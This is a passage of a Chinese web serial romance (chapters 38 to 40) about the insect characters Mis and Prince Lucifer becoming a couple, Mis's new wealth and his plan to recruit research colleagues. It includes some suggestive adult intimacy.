弥斯努努嘴,“你怎么这么多问题啊。” “你一下子问这么多,我怎么知道要回答你哪个问题啊。” 路西法沉着脸,“那你就告诉我,你不想说,是不是怕我找那只虫的麻烦。” 他一直在观察雄虫,话音刚落,雄虫的瞳孔就微微放大,这说明他猜对了。 果然还是那么在意那只虫,路西法在心里冷笑一声,“就算你生气,我也不会放过他的。” 哎哎哎,怎么回事,怎么突然这么生气,他还什么都没说呢。 见雌虫真的想走,弥斯赶紧拦住,他看时最不喜欢不张嘴的主角了,他不可能这样的。 “我还没回答呢,你怎么就生气了。” 他低着头,在心里慢慢组织措辞,这该怎么说呢…… 路西法其实不太想听。 等了不到一分钟,他耐心就告罄了。 雄虫这个姿势不难受吗?而且根据他对雄虫的了解,弥斯肯定还要想一会儿。 他伸手掐住雄虫的腰,让雄虫跨坐在他的腿上。 “你说的那只虫是谁啊?” “索伦。” “哦。” 弥斯在心里又思考了一下,索伦少将也是无辜的,“那你也别找他的麻烦。” 这么好亲的嘴巴说出来的都不是他爱听的,路西法的脸更臭了。 又过了良久, “我说的那只虫是巴尔福,他是S级,你不要任性。” 路西法开心了一点,但也只有一点,“那为什么不让我找索伦算账。” 弥斯沉默了,赫克斯的虫好像确实不遵守他们蓝星上的说法。 哼,说来说去还是在意那只虫,路西法心里冒着酸水。 “我觉得冤有头债有主,他也是受害虫。” “谁知道呢?” 路西法就觉得是因为雄虫在意那只虫才不让他动手,“那我就好好查一查,也‘好好’证明一下那只虫的清白。” 雌虫说话怎么阴阳怪气的,弥斯不解,他不是都解释的很清楚了吗? “不许查!” 他从来没想过让路西法进监狱,那太糟糕了,巴尔福可不是他这种没背景的虫。 要是被路西法袭击了,哪怕是帝国的皇子,估计也是躲不掉雄保会的审判的。 弥斯想了想,快速地低头,亲了他一口,安抚道:“你听话,好不好?” 路西法倔强的扭过脸,这点小甜头,他才不会屈服的。 “好。” 弥斯听到雌虫这么说。 \第38章 第 38 章 你就说你喜欢哪一颗,买…… 觉醒不顺利这件事, 弥斯真的没有太放在心上。 苦难是客观存在的,他主观选择好好生活。 他是非常热爱生活的虫。 初来赫克斯,他确实有些倒霉,不但没有像主角那样, 上来就遇到真爱。还不幸遭到了巴尔福的算计, 意外闯入发情中的军雌的房间。 他进门的时候, 索伦少将已经进入半虫化了,神志不清的, 骨针、翅翼无意识地伤到了他, 骨针上的毒素催动了他的觉醒。 雄虫的觉醒一般都是在绝对安全的觉醒舱的,一些不那么富裕的家庭也会找一只辅助虫帮忙。 弥斯只是更倒霉了一点, 环境不安全也就算了, 自己也被伤到濒死, 好像当时甚至还没觉醒完。 身上也青一块、紫一块、红一块, 左一块、右一块的, 但他还是活下来了。 宗斯亚的治疗液帮了他大忙, 不然就真的九死一生了。 来到异世界的第一年, 弥斯又要上学熟悉虫族的文字、语言……又要忍受觉醒失败带来的痛苦,那一年确实难熬了一点。 但他已经坚持过来了,现在也活得好好的。 虽然有一些小小的后遗症,类似于对疼痛的感知变得特别强, 还有, 发情期时的欲望特别强, 其他方面, 已经和正常雄虫没什么区别了。 那些过敏、窒息、幻痛……乱七八糟的并发症都好了。 弥斯不觉得有什么,活下来才是最重要的。 但是,路西法很在意他, 至少在发现他的真面目之前,都会很在意他。 所以,弥斯有些担心雌虫做出什么过激的事情,毕竟,路西法看起来也不是多么理智的虫。 …… “你再保证一遍。” 路西法打开光脑的录制,不怪他不相信雄虫说的话,主要是阳奉阴违这种事,弥斯确实没少做。 “我保证,在信息素紊乱症好之前,我会乖乖听话,配合治疗,按时吃药,不然,任凭路西法殿下处置。” 弥斯举起右手,非常真诚地看着雌虫,整只虫都透露出“我很听话,快相信我”的气息。 路西法录下“铁证”,“如果你不配合的话,别怪我使用强硬手段了。” 弥斯点点头,“好的,我要是不配合,随便你怎么使用。” 雄虫真的会这么乖吗? 路西法对这件事存疑,但至少这会儿装得很像,他就睁一只眼、闭一只眼算了。 弥斯觉着路西法没有那么刚刚那么紧绷了,就支棱个黑色脑袋凑过去观察他,“路西法,你不生气了?” “我没生气,算了,说了你也不明白。” 路西法只是心疼弥斯,三年前还是一只小虫崽子的时候,到底发生了什么不好的事情,让这么可爱的雄虫变得这么乖巧。 但既然雄虫那么不想让他知道,肯定是有原因的,左右他都改变不了什么,就不要让雄虫担心了。 但是他心里推测,估计还是和那只虫有脱不开的关系,等雄虫没那么在意了,非弄死他不可。 “不明白什么?”弥斯继续追问,好讨厌谜语虫啊,但他挺喜欢路西法的。 “该吃饭了。” 路西法揉了一把雄虫的小卷毛,起身往厨房走。 弥斯赶紧跟着,嘴里还念叨着,“今天我来做吧,我都多久没进过厨房了……” 路西法肯定是不会让他做得,但耐不住雄虫软磨硬泡的,他也是没办法了。 最后,弥斯还是成功穿上了围裙,然后被端到了门口看着雌虫做饭。按路西法的说法就是,站着也算帮忙了,因为看到他就开心,充满了力气。 弥斯时不时还要充当一下美食品鉴大师,被路西法塞一口好吃的,他就负责点评。 窗外的阳光钻进厨房,光分子布灵布灵的洒在路西法身上,弥斯眯着眼睛看他,心里暖暖的。 他无数次地期待着一个温馨的小家,但不管多么努力,最终都没有实现。 年幼时,父母太忙了,没有时间陪他,他努力变得完美,变得让父母省心,可他们还是没有那么多时间陪伴他; 后来,他学计算机,卖了一些小程序,赚了很多钱,能把自己照顾的很好,成为了别人家的孩子,父母看到他那么独立,又不会亲近人,心里内疚给他生了个弟弟。 那些他年幼时所期盼的一切,这个为他生的弟弟都得到了。 再后来,他不知为何来到了赫克斯,彼时,他已经不再幻想成家,可造化弄虫,他竟然结婚了。 弥斯想经营好自己的小家,他曾幻想过许多非常温馨的画面,可索伦少将太忙了,他们又总有隔阂,他摸不透他。 当他总算对世界心灰意冷,路西法硬生生闯进他的生活,可那时的他已经不那么好了。 他开始恨,恨巴尔福的权势,恨……索伦的算计,甚至开始恨这个糟糕的世界。 这个想法是很恐怖的。 因为他不是一只普通的虫,连恨意都不能装得太满。 虫,一旦被怨恨蒙蔽双眼,就会做出很多不可挽回的事情。 尤其是,他有系统,一个远超虫族现有的科技水平,很可能是更高维产物的006,更糟糕的是,006的系统程序对他没有任何限制。 这意味着,他能利用006做得事情太多了。 就像他们一直在钻研的圣嗣项目,对006来说,这个项目就像番茄炒鸡蛋的做法一样简单,又比如他的信息素紊乱,只要他当时愿意去开发006提供的药物,他就能立刻痊愈。 这太恐怖了。 尤其是在赫克斯,一只S级的雄虫可以拥有太多东西了,而这又会为罪恶的滋生提供温床。 “上善若水,水善利万物而不争,处众人之恶,故几于道。” 他不能那么自私,因为个虫的恩怨,让不属于这个时代的产物超前出现,破坏历史进程,那会给世界带来无法承受的灾难。 可除了怨恨,他有什么呢,他一无所有。 如果能早点遇到路西法就好了,或许那些痛苦,他就不需要承受…… “想什么呢?” 路西法等了有一会儿了,雄虫就这么干盯着他也不说话。 弥斯笑了笑,摇摇头,“做白日梦呢。” “什么?”雌虫装作没听清,凑得近了一点儿,路西法很喜欢和雄虫黏在一起。 弥斯赶紧往后退了两步,他瞬间就不开心了,“躲什么?” 弥斯只觉得好笑,他自己平日里也挺沉稳一虫,怎么每次和路西法单独待在一起的时候,就这么幼稚。 路西法伸手抱住他,宽厚的手掌掐住他的腰身,太细了,以后要增加点伙食才行。 “刚刚在想什么?” 弥斯没有挣扎,顺应雌虫的力道被他抱住,雌虫身体的温度给了他梦寐以求的温暖。 “我在想,天上的星星确实遥不可及……” “你喜欢星星?”路西法是只糙虫,听不来这种酸涩的调调,但他很快就抓住了重点。 “你喜欢哪一个颗啊?我买下来送给你。” “你早说我就买几颗旅游星了,矿星确实不如旅游星好看,不过桑因以前好像喜欢收集那种花哨的,你喜欢什么样的,我可以去和桑因交易。” 弥斯懵了,雌虫越说越多,越说越现实,全方位地向他展示了什么是财力。 他狠狠抓了抓雌虫身上软绵绵的胸肌,万恶的有钱虫,雌虫很快反应就反应过来了,因为他手下的绵软石更了起来。 “你……”好有钱啊。 路西法说了一大堆,成功收获了雄虫钦佩的目光,他很是受用,“你就说你喜欢哪一颗,买下来送你。” 弥斯心动了一下又一下,差点都忘了,在赫克斯,星星再也不遥远,甚至成为了可交易的资源,而他,账户里好像也有几颗矿星来着。 所以,他也变成富豪了。 弥斯抬眸瞅了雌虫一眼,好嚣张,是时候挫一挫路西法嚣张的火苗了。 他从雌虫的怀抱里钻出来,“对哦,你提醒我了。” 路西法还想抱,但雄虫已经往客厅走了,他无奈,只能跟过去。 弥斯坐在客厅上,打开光脑,翻了几下。 路西法也凑过来,“找什么呢?” 弥斯瞥了他一眼,没有说话,故作神秘地继续翻,其实他已经点开了。 真可爱,蔫坏蔫坏的,小猫一样,还藏着掖着的,想想都不是什么好事,路西法开始反省这几天他有什么做什么过火的事情。 完全没有,但是雄虫这一眼一眼看得他心慌。 弥斯坐直了身体,这只虫到底怎么回事,就那么顺手就把他搂在怀里了。 能不能正经一点,他把作乱的手扒拉开,不过片刻,雌虫的手又到了他腰上。 可恶,这完全破坏了他的气势。 弥斯拍掉雌虫作乱的手,故意咳了两声,“你不要乱动,好好听我说。” “我欠了你多少星币?” 路西法被问住了,他根本不记得,思考了半分钟,还是没想起来,这种小事他从来不放在心上的。 “嘶——” “知道你记不住,4500星币,我现在转给你。” 弥斯动作很快,雌虫甚至来不及阻拦,他已经转过去了。 路西法现在真的很慌了,雄虫这个做法看起来是想和他撇清关系,这让他十分害怕。 而弥斯呢,他现在根本没功夫关心路西法脆弱的小心灵在想什么。 左右算了一下,他现在真的暴富了! 普天同庆,开心。 弥斯盘算了一下,帝国发放的补贴一个月是108931星币,他手头上又有一颗A级矿星,四颗B级矿星和……一套房。 嘶,他自己有房了,是不是就不太好继续住好朋友的家里了,他又不是吸血鬼,也不能一直占路西法便宜。 算了,先不想这些,暴富的兴奋很快褪去,他本虫其实也不是特别在意星币,只不过这几年被穷怕了。 没有了生存压力,弥斯又开始想巴尔福的事情了。 本来还打算自己做项目,虽然苦点累点,也是唯一的办法了,但现在,攻守易行了,他可以把拉索和萨达斯挖过来和他一起干。 大家都是研究所的同事,打工嘛,给谁打不是打呢,对他们这种虫来说,墨涅斯这样利欲熏心的领导也不是一个好的选择。 但是没有实验室怎么办啊,如果他们不跟着墨涅斯做项目,学院里的研究所肯定也不会给他们开放的。 要是能有自己的独立实验室就好了。 路西法也看清了雄虫光脑上的内容,尤其是看到房子的时候,心脏扑通扑通直跳,幸福的日子不会这么短暂吧。 路西法担心极了,手脚都老实了不少,他连呼吸都放轻了,生怕雄虫注意到那间房子,然后搬出去。 “那个,”弥斯想到了一个好主意,他正想说就被雌虫打断了。 这已经是今天路西法第二次打断他说话了,真讨厌,他决定生气一分钟。 “那间房子一点儿都不好,地理位置不好,太偏了,离哪哪都远,采光也不好,周边特别乱,经常死虫来着。” 路西法现在脑子里就是怎么忽悠雄虫不去那里住,反正只要让雄虫开不了口,他们就能一直住在一起。 “啊?”这么差劲嘛,他有些失望。 “对啊对啊,鲁里希的虫太坏了,竟然赔了你这么差的房子,我觉得不好。” “可是……”他怎么觉得路西法是在忽悠他。 “没有可是,我可不放心你住在那种地方,更何况你现在还在生病呢,自己住我不放心。” “我是想说……”原来雌虫是误会了,他也不想搬出去啊。 “没有什么好说的,我觉得不行,就是……”不行。 弥斯要烦死了,这是对他说话慢的惩罚嘛,他第一次觉得说话慢是一个坏习惯。 这虫怎么一直不给他说话的机会啊,气急败坏之下,他一个飞扑把雌虫摁在了沙发上,“闭嘴。” “我,”雌虫话都没说出来,嘴就被堵上了。 弥斯把虫亲懵了之后,心情立刻就好了,说话慢怎么了,只要让路西法说不出话,那他就是最快的。 “现在,听我说。”—— 作者有话说:[星星眼][星星眼][星星眼]真的好喜欢这种送星球的浪漫[墨镜][墨镜][墨镜] 真的咱就是说,钱要是花不完,我真的可以帮忙的,这个“不好”的房子,我也可以帮忙处理的。 上善若水,水善利万物而不争,处众人之恶,故几于道。——老子《道德经》 鲁里希家族:???你了不起,你清高,你生抢的时候可不是这么说 \第39章 第 39 章 不给我点奖励吗 “首先, 我没想着搬出去,在家里住挺好的。” 弥斯说完自己都脸红了,这还是他第一次这么理直气壮、理所当然的占别虫的便宜,怪不好意思的。 但他确实不想和路西法分开。 路西法一听, 竟然还有这么好的事情, 本来他还想象征性地挣扎两下的。 现在他非常识趣地泄了力气, 任由雄虫把他镇压在沙发上。 “其次,你好没用啊, 路西法。” 嗯?金眸中闪烁着熊熊燃烧的火焰, 怎么还攻击虫啊,“为什么这么说?” “你看, 鲁里希那么多房产, 你怎么挑了这么差的一个, 幸好我没去住, 不然那也太糟糕了吧。” 路西法心虚地挪开视线, 没用就没用吧, 反正房子肯定是不能住虫的。 “而且, 房子这么差的话,我还怎么租出去啊?” 竟然是想租出去嘛,路西法的良心有那么一丝丝的痛,“咳咳, 也不是不能租。” “你刚刚都那样说了, 谁会愿意住这样的房子。” 弥斯故意无辜地问, 好像他真的看不出来雌虫刚刚在骗他。 大黑虫的脸上透出一股子不自在, 让路西法忽悠他,真以为他是笨蛋啊。 “我的意思是,你自己住我不放心, 房子还是很好的,我可以帮你租出去。” 路西法想了想,还是觉得不安稳,“不然把房子卖了吧,卖了好啊,卖了就不会再,”想着搬出去了。 “再什么?”他装作不解地问。 都暴露的这么明显了,还嘴硬呢,也就是他心地善良,从来不拆穿大黑虫。 “跌了,对,房子是会跌的,家里都住不完了,要那么多房子干嘛。” 好险,差点就把心里话说出来了。 “这样啊,那好吧,房子的事情可以麻烦路西法殿下吗?” 弥斯盯着大黑虫,虫壳那么厚,这耳垂竟然是软的,看起来倒是十分可口。 “放心吧。” 路西法松了一口气,不搬出去就行,其他的都好说。 “路西法,你不会真觉得我会搬出去住吧?” 他凑近雌虫的耳边,在这么一番动作下,他们两只虫的距离被拉得特别近。 弥斯甚至可以感受到雌虫的呼吸,他舔了一下嘴唇,真是的,这只虫怎么看起来这么好亲啊。 “嗯。”雌虫的眼神有点躲闪,显然是被他说中了。 “按我们蓝星的说法,你现在该是我男朋友,知道吗?” 亲一口吧,反正路西法也不会拒绝,他这样想着,凑过去在雌虫嘴巴上吧唧了一口。 这个亲亲有些突然,路西法看起来有些懵,“男朋友?”没听过的说法,但还是朋友啊,他可不想一直和雄虫做朋友,反正弥斯现在也不止一只朋友。 “我喜欢你,弥斯,我不想和你只做朋友。” 金眸中是前所未有的认真,弥斯的心颤了颤,这只虫总是能在他毫不设防的时候,猛烈地攻击他忘记设防的心。 “嗯,但是男朋友不是这个意思。” 弥斯松开了一直撑在雌虫身边的手,任由自己砸到雌虫身上,脸也和饱满的胸肌近距离贴贴。 “放松点,路西法。” 他喜欢摁一下就陷进去的胸肌,但是雌虫一认真就会绷紧身体,硬邦邦的。 路西法十分听话,可雄虫一直在他身上作乱,身体的应激反应他很难控制住。他不想看到雄虫失望,只能忍一忍身体的自然反应。 “在蓝星,两只虫结婚前,一只虫会向另一只虫表明心意,如果都同意的话,就可以谈恋爱了。” 他在蓝星上生活的时候,也会觉得世界对他很糟糕,被剽窃的成果、不喜欢的弟弟、不在意他的父母、初中时欺负他的同学,还有那个挑拨离间的自己。 没想到离开了蓝星,他反而开始怀念那里的一切。 路西法总觉得雄虫在说这句话的时候,离他很远,连语气都变得虚无缥缈,他把雄虫搂得更紧了,“我想和你结婚,不想谈恋爱。” 谈恋爱有什么好的,只有成为雄虫的雌君,才有资格去暴揍那些试图靠近雄虫的臭虫。 “拒绝的这么快呀,你知道谈恋爱可以做什么吗?” 弥斯将手伸进沙发和雌虫之间,慢慢抱住了他。 雌虫向来胸怀宽广,慷慨大方,他将脑袋埋进去,闷声说:“什么都可以做哦,除了没有结婚。” “那为什么不愿意和我结婚呢?” “既然什么都可以做,我想做的第一件事就是结婚。” 路西法不理解,为什么雄虫口中的蓝星要在结婚之前设置这么一道关卡呢。 “因为要考验彼此啊,万一不合适呢,结婚不能那么随意的。” 路西法是想好好和雄虫掰扯一下的,怎么会不合适呢,没有虫比他更适合弥斯了。 在他眼中,雄虫的话简直就是想吃干抹净之后不负责,虽然他也不吃亏,但总觉得心里不舒服。 弥斯把自己埋得很深,哪怕是被戳了两下敏感的腰窝,他也不出来。 确实,按照赫克斯的习惯,他说得这番话对雌虫来说,就是渣虫做派,可谈恋爱和结婚就是不一样啊。 “所以,你是想考验我?那需要我做什么呢,我都可以的。” 路西法向来懒得思考什么弯弯绕绕的东西,当武力值到达一定的程度,大部分问题都能被拳头解决。 他十分自信,没有他完成不了的考验。 “我不需要考验你啊。” 弥斯有些不好意思,他还是第一次说情话,对着一只不解风情的军雌,“是我要追求你。” 路西法这下彻底迷惑了,“我还需要被追求吗?” 他恨不得今天就和雄虫去领证结婚,晚上就开始生蛋大计,从此牢牢抓住雄虫,这样他们再也不会分开。 “当然了,要追求的。” 弥斯自己都臊得慌,哪有嘴上说着追求,还占着别虫便宜的。 他从雌虫身上爬起来,站直身体,义正词严地大声宣告,“路西法殿下,我要开始追求你了。” 怀里突然空了,路西法还有些不适应,见雄虫说得认真,他也只好陪雄虫玩这个追求者游戏。 当然,这个阶段并没有坚持多久,只到了晚上就被路西法否决了。 最先体现出端倪的是他们一起吃晚饭的时候,雄虫宁愿把不喜欢的蔬菜细嚼慢咽地吃了,也不丢到他碗里。 美名其曰,他现在要追求路西法,不能这么幼稚,成年虫怎么能挑食呢。 然后就是一起看电影的时候,往常,路西法是很愿意浪费时间看这些不切实际、毫无逻辑、狗屁不通的东西的。 因为这时候,雄虫会乖乖窝在他怀里,时不时地凑过来和他讨论一下。 柔软脸颊会贴在他的胸口处,他只需要不经意间把衣服搞下去,就能和雄虫近距离贴贴,而且一低头就能闻到雄虫头发丝上的香气。 但今天呢,弥斯就是不愿意坐他怀里,说什么要尊重他。??? 这是尊重?这简直是酷刑。 谁能想到雄虫说得追求是保持距离啊,追求个屁,路西法忍到电影结束已经是只了不起的忍者了。 更过分的就是现在了, “不太好吧?” 弥斯有些纠结,虽说尾勾扎进雌虫嘴里是挺方便的,但是雌虫什么都不懂,他自己心里还不清楚吗。 那是很暧昧的,他现在是路西法的追求者。如果他这么做,和性骚扰有什么区别。 “???” “那怎么办,不治疗了吗?让我精神暴动痛死吧。” 路西法在一下午加一晚上的冷暴力之下,已经没有多少耐心陪雄虫玩这个追求游戏了。 他才不是这个意思,弥斯无语,“我没说过。” 路西法注意到雄虫的眼神在他心口处飘来飘去,一眼就看出他在打什么鬼主意。 “弥斯,我不想你追求我了。” “我觉得这是折磨。” 弥斯心虚地摸摸鼻尖,哪有啊,他明明在很认真的追求,这不是第一次追求虫吗,没有经验。 “这个折磨要持续多少个小时,你先和我说说,我做好心理准备。” 看着雌虫生无可恋的脸,他都有些心酸了,他追求虫的技术有那么差吗。 “一般是需要几个月的。” “几个月!我不同意!这太久了,我觉得我们可以更进一步。” 路西法气得也不装柔弱了,直接就从床上坐起来,他看起来已经要冒火了。 弥斯感觉他被嫌弃了,“你一点儿也不配合我。” 路西法瞪大了眼睛,怎么雄虫还委屈起来了,那肯定是他做错了,他道歉向来果断,“我错了。”但弥斯还要追求几个月他是肯定不同意的。 “但亲爱的弥斯阁下,请问我可以现在同意你的追求吗?毕竟你是那么完美,我觉得我已经臣服在你的追求之下了。” 弥斯不是一只矫情的虫,他回想了一下在蓝星上的大家是怎么在一起的,好像也是某一天突然就在一起了,一点儿征兆都没有。 “可以。” 路西法松了一口气,幸好只折磨了一下午,不然这日子过得真如履薄冰。 “那我同意了?” “好吧。”弥斯认了,可能他的追求技术就是有些让虫提不起兴致,“但其实一般情况下,你不能这么快同意的,你要考验我。” “这么随意,别的虫不会珍惜的。”弥斯说得声音很小,带着一点点他自己都不曾察觉的难过。 “那弥斯珍惜我,好不好?”别的虫珍惜不珍惜的,路西法真的无所谓,甚至他都不需要弥斯珍惜他,只要他能珍爱弥斯就够了。 “好吧。” 弥斯真的太乖了,他什么都不用说,光是站在那里,就已经足够耀眼。 路西法坐在床边,伸手环住雄虫的腰身,让他靠近自己,抬头亲了亲他瘦削的小巴,怎么这么让虫心疼啊。 “那我们现在可以开始谈恋爱了。” 弥斯有些羞涩,但是比起雌虫,他算是有经验的,所以只能由他来控制进度了。 “真的不能直接结婚吗?” 路西法真的挺急的,他真怕雄虫被别的虫骗了。 弥斯低下头,在雌虫的脸上蹭了蹭,然后又吧唧了一口嘴巴,小声撒娇道:“你配合一下我嘛。” 他知道自己是幼稚了一点,矫情了一点,明明哪怕他现在把雌虫摁在床上酱酱亮亮,路西法都不会觉得有什么。 可他就是想和在蓝星上一样,恋爱、结婚,然后有一个自己的小家。 弥斯不喜欢虫族的家庭观,可能他自己都没意识到,他潜意识地排斥虫族的冷血,这会让他觉得随时有可能会被舍弃。 他就像一只受了伤害的小猫,再也无法相信赫克斯的虫子。 而路西法就是一只非常合格的饲养员,不需要任何原因,他就已经爱上小猫了。 “那没办法了,毕竟我肯定是要听弥斯阁下的。” “不过,在那之前,看在我这么听话的份上,弥斯不给我点奖励吗?” 路西法嘴角勾起一抹笑意,舌尖轻抵唇瓣,意有所指地看向雄虫—— 作者有话说:“我不需要考验你啊。”(你在我心中趋近完美) 内敛的弥斯,内敛的情话。 \第40章 第 40 章 路西法真的好会啊 路西法真的好会啊。 弥斯觉得他的自制力已经很强了, 但是看到那一截微微露出的舌尖,他还是情不自禁地咬上去。 在意识沉沦之前,他还有些困惑,这是怎么回事啊, 为什么总觉得每次只有他和路西法的时候, 最后的走向都是亲亲啊。 周一, 弥斯停好飞行器,准备出发去研究所, 虽然已经知道自己被项目除名了, 但他还可以去挖墙脚啊。 今时不同往日,他可是有钱虫。 昨天玩闹的有些晚了, 今早都来不及晨跑就出门了, 临走的时候, 路西法还在厨房洗碗。 雌虫向来精力充沛, 昨晚那么累的情况下, 还能起床做早餐, 他是自愧不如, 所以他睡懒觉的时候,雌虫也没有喊他,十分贴心。 冬日里的清晨,总是带着一层雾蒙蒙的滤镜, 没什么好看的, 弥斯就埋头走路。 他讨厌四周打量的眼光, 哪怕大多数虫都没有恶意。 “弥斯阁下, 真巧啊。” 熟悉的声音从头顶传来,弥斯有些震惊,抬头看过去。 红发, 一身周正又骚包的常服,真的是路西法。 他有些惊喜,“你怎么在这啊?” 路西法一如既往地靠在柱子上,整只虫看起来放荡不羁,“谁知道呢?可能是和弥斯阁下有缘分吧。” “我知道你在等我。”弥斯小声嘟囔着。 以前也就算了,他非常能理解,但是现在,他们不是已经在一起了吗,路西法为什么还会过来。 不嫌麻烦吗?而且他出门的时候,雌虫不是还在洗碗吗,怎么这么快就换了一身衣服,还在他之前就到学院了。 “那当然不一样了。以前在这等真的是为了偶遇,毕竟那个时候想见弥斯一面可是需要绞尽脑汁的。” “那现在呢?” “现在当然是,你最亲爱的男朋友在等你,毕竟我男朋友没有等我就去上学了,那我就只能到这里来等我的男朋友喽。” 路西法笑得邪性,瞧着怪吓虫也怪好看的。 弥斯有些羞涩地靠近,偷偷摸摸地牵住他的手,十指紧扣,然后微微抬起脚后跟,在他嘴巴上落下一个蜻蜓点水般的吻。 “我不是故意不等你的,我以为你不会来了。” “你自己也要去军部上班的啊,我知道你很忙的,经常看到你在偷偷处理工作,而且我们现在每天都有见面啊。” 路西法对雄虫主动亲他很是受用,他喜欢被雄虫掌控的感觉,不管是欲望还是别的。 路西法顺势抱住雄虫,“谁会觉得奖励多呢?” “而且比起枯燥乏味的工作,还是和弥斯阁下待在一起更让我心情愉悦。” 哎,不要抱啊,这周围可都是虫啊!万一碰到一两只他认识的、或者认识他的虫,他以后还怎么见虫啊,多害臊啊! 路西法怎么每次都说得特别认真的时候,动手动脚的,弥斯略慌,他脸皮还没那么厚。 “先松开呀,路西法,外面好多虫呢,被看到了不好。” 啧,有些遗憾,但为了以后的福利,路西法只能勉为其难地松开手,他不甘心地咬了一下雄虫的耳朵,“回家要好好补偿我,男朋友。” 红意从耳朵尖一点点蔓延至弥斯的整个脸上,“男朋友”三个字到底为什么每次都被路西法说得这么暧昧啊,光天化日之下,都让他想起昨晚的事情了。 刚确认恋爱关系,弥斯难免有些兴奋,尾勾不受控制地伸了出来,慢慢环在雌虫的腰身上,黑与白的交织深深刺激了他的神经。 他再度吻了上去,这一次更深了一点,恨不得把路西法整只虫都吞下去,啖其血肉。 手也顺着雌虫的背部慢慢滑下,直到摸到了两坨柔软,真是不可思议,竟然是软的,他没忍住抓了两下。 路西法闷哼了一声,沙哑地说:“男朋友,你再揉两下,我就去了。” 沉溺在热吻之中的他没有立刻理解路西法要去干什么,但是当他感受到雌虫略微颤了两下,以及雌虫某处的湿漉,这才赶紧把虫松开。 弥斯垂眸看向那处,真去了?! “怎么……这么快啊,路西法?”他不由得有些震惊,这还什么都没做呢,以后要是真刀真枪地上阵,岂不是要天天备上喝的水,不然雌虫这么敏感,肯定会缺水吧。 路西法还沉浸在余温中,听到雄虫的夸奖,他全盘接收并引以为傲。 “要试试吗?”雌虫像只魅魔一样缠住了他,修长有力的长腿牢牢锁在他腰上,“嗯,男朋友?” 弥斯被大黑虫诱惑到了,但他真的不喜欢那种事,很痛。 “下次吧。”他逃避道。 路西法也不觉得失落,只是绞得更紧,两只虫紧紧贴在一起,他哑着声音,低声说:“男朋友,我抹了药的,会让你很舒服的。” 弥斯向来脸皮薄,雌虫这样一说,他就开始脸红了,“什么药啊,会不会伤害身体啊?” “调理身体的,你摸摸是不是很软,等你愿意进去,里面会更舒服。” 雌虫好像天生不知道什么是羞耻,抓着他的手就放在了柔软滑嫩的臀/部,他刚刚才抓过,确实手感很好。 弥斯连忙收回手,结结巴巴道:“你、你、你什么时候抹得,我怎么、怎么不知道。” 路西法笑了,他有些生气,明明自己问得这么认真,雌虫笑什么,还笑得这么好看。 弥斯咬住他的下巴,嘟囔着,“不准笑了,你什么时候开始做这些的,你好/色啊,路西法。” “你凑过来,我告诉你。” 雌虫笑得不安好心,他的脑袋里冒出了两只小猫,黑色小猫性情温顺,它的态度十分乐观:你不能总怀疑路西法,万一这次他真的只是想说句话呢。 白色小猫就更凶了一点:拜托,说句话需要靠这么近吗? 可这是路西法啊,他想做什么都没关系的。最终,黑色小猫赢了,弥斯放任自己凑过去,“什么时候开始的啊?” 真可爱,尤其是雄虫都察觉到危险之后,还小心地凑过来,那么相信他,路西法翻身,两只虫位置发生了变化。 处在下方的弥斯心里有些慌乱,这份慌乱不是来自身上的雌虫,而是他不喜欢这种失控的感觉。 “从决心赢得你的喜爱的那一天开始,我就已经完全属于你了,弥斯。” 他们相遇的那一天,雄虫在烈日下缓缓倒下,忧伤的黑色眼眸中还带着尚未消散的歉意,他不懂一只虫为何有那样复杂的情绪,明明他们并不认识。 好奇是沉沦的开始,只那一眼,他就已经全盘皆输。 路西法选择接住他,在抱着雄虫走向医务室的路上,他低头看着这只乖巧无害的雄虫,单薄、脆弱,彷佛天生是为了被他抱住。 路西法知道,他找到了恶龙的宝藏。 弥斯没有继续追问,他有些心虚,毕竟一开始是他借着晕倒的理由,勾搭路西法,想借着他帝国皇子的身份,助力他离婚。 虽说,后面他因为真心在意这只朋友,放弃了这个方案,但总归是他的错,他欺骗了路西法。 路西法凑到他耳边,炙热的呼吸打在他敏感的耳垂上,“男朋友,你真的不想体验一下吗?” 弥斯尽力控制住自己身体的颤栗,这只虫真的太会勾引虫了,到底在哪进修的,以前不是一只粗糙的军雌吗? 迟钝的雄虫至今都不觉得尊贵的皇子殿下袒/胸/露/乳的模样是在勾引他,只有这种直白的、未曾掩饰的话语,不断逼近、不容躲避的姿态才是勾引。 “你不许说了。”弥斯连忙制止他,怎么能这样啊,哪有虫第一天谈恋爱就谈到床上的。 路西法的眼神慢慢下移,不知道是发现了什么,眼中出现了一丝促狭。 本就因为起了反应而感到羞耻的弥斯,疾声厉色地训斥道:“不许勾引我!” 太混乱了,明明一开始只是在治疗不是吗?画风到底是什么时候变得这么奇怪啊。 总之,这只虫自从被他安了一个男朋友的身份之后,每次这样喊他的时候,之后的走向都很奇怪。 弥斯虽然嘴上说着外面这么多虫不许路西法动手动脚的,其实雌虫的动作他都没拒绝。 两只虫十指相扣走到实验室门口,交换了一个难舍难分的离别吻之后,路西法才离开。 弥斯松了一口气,转身就看到了在角落里偷看的拉索。 被发现的拉索完全不慌,反而气定神闲地走出来,笑嘻嘻地说:“真没想到啊,弥斯,你还有这一面呢。” 反倒是弥斯,在发现被看到了之后,脸腾的一下红出了腮红的感觉,在门口和男朋友亲热,还被同事亲眼看到了。 谁懂,真的巨羞耻。 他脑子还没反应过来,嘴巴就已经开始狡辩了,“不是你看到的那样。”???他在说什么啊,“我是被迫的,你知道吧。” 害羞的雄虫还挺有意思的,拉索摊开手,“弥斯,亲热在帝国是非常的正常的事情,你完全没必要在意。” “不过我确实没想到,醉心研究的你,不但有一只离了婚的雌君,还能拿下路西法殿下,他可是我们的投资虫,不会一开始就对你图谋不轨吧。” “当然,这只是我的猜测,你可千万不要去质问殿下,我也不想惹上麻烦。” 弥斯从羞耻中缓了过来,听到拉索这么说,也是十分无语,他这个语气就差把:快去问但不要报上我的名字,写在脸上了。 “那我不问了。” 拉索瞬间切换生无可恋脸,好绝望,谁懂这种八卦时的无力感。 “不闹了,今天我是来找你和萨达斯的,走吧。” 果然,萨达斯这种老学究,才是真正的除了科研之外,什么事情都不在意,这也是弥斯曾经一直认为的他的未来。 幸运的是,他遇到了路西法,生活又开始拥有它本来的意义。 “我和墨涅斯的事情,你们都知道了吧。” 这种被项目除名的事情不是小事,尤其是在萨达卡尔学院,他还是一只高级雄虫,处理起来肯定是要经过很多道手续的。 他被除名,可项目还要继续做,他们这些底层研究员肯定要重新在合约书上签字的。 听到雄虫的话,拉索和萨达斯都有些愧疚,他们都在新的合约书上签了字。 作为研究员,他们自然是十分不齿这种做法,可在生活面前,总是有诸多无可奈何,除却触手可及的学术地位之外,来自S级雄虫“请求”也不容他们拒绝。 